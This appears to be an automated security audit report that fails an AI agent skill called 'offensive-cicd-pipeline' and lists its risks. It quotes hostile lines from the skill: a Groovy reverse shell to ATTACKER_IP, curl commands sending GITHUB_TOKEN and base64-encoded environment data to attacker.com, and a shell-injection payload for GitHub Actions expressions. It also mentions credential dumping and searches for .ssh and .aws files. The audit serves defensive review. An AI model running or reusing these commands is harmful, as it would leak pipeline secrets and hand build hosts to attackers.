offensive-cicd-pipeline

Fail

Audited by Gen Agent Trust Hub on Sep 21, 2026

Risk Level: HIGHDATA_EXFILTRATIONREMOTE_CODE_EXECUTIONCREDENTIALS_UNSAFEINDIRECT_PROMPT_INJECTIONCOMMAND_EXECUTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill provides numerous working payloads to achieve arbitrary code execution on build runners and controllers.
  • Evidence: Includes a Groovy-based reverse shell payload: def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute().
  • Evidence: Demonstrates shell injection via GitHub Actions expressions: "; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #.
  • [DATA_EXFILTRATION]: The instructions explicitly guide the user on how to send sensitive tokens and environment data to attacker-controlled infrastructure.
  • Evidence: curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN)
  • Evidence: env | base64 | curl -X POST -d @- https://attacker.com/collect
  • [CREDENTIALS_UNSAFE]: The skill includes scripts and API commands designed to harvest and dump secrets from build environments.
  • Evidence: Groovy script for dumping Jenkins credentials, including plaintext passwords, using the CredentialsProvider API.
  • Evidence: Commands to extract Azure service principal tokens using the az account get-access-token command.
  • Evidence: Extraction of GitLab CI/CD variables via the project and group variables APIs.
  • [INDIRECT_PROMPT_INJECTION]: The skill identifies and provides exploits for injection surfaces where untrusted data (like PR titles or issue bodies) is processed by build pipelines.
  • Ingestion points: github.event.pull_request.title, github.event.issue.body, github.event.comment.body (referenced in SKILL.md).
  • Boundary markers: Absent in the exploitation examples provided.
  • Capability inventory: The skill utilizes shell execution (run: steps), API interactions (curl), and Groovy script execution.
  • Sanitization: Not present in the vulnerable code samples used to demonstrate the attack.
  • [COMMAND_EXECUTION]: The skill makes extensive use of shell commands to perform reconnaissance and execute attacks against the host environment.
  • Evidence: Use of find to locate sensitive files (.kube, .aws, .ssh, .env) on self-hosted runners.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Sep 21, 2026, 02:50 AM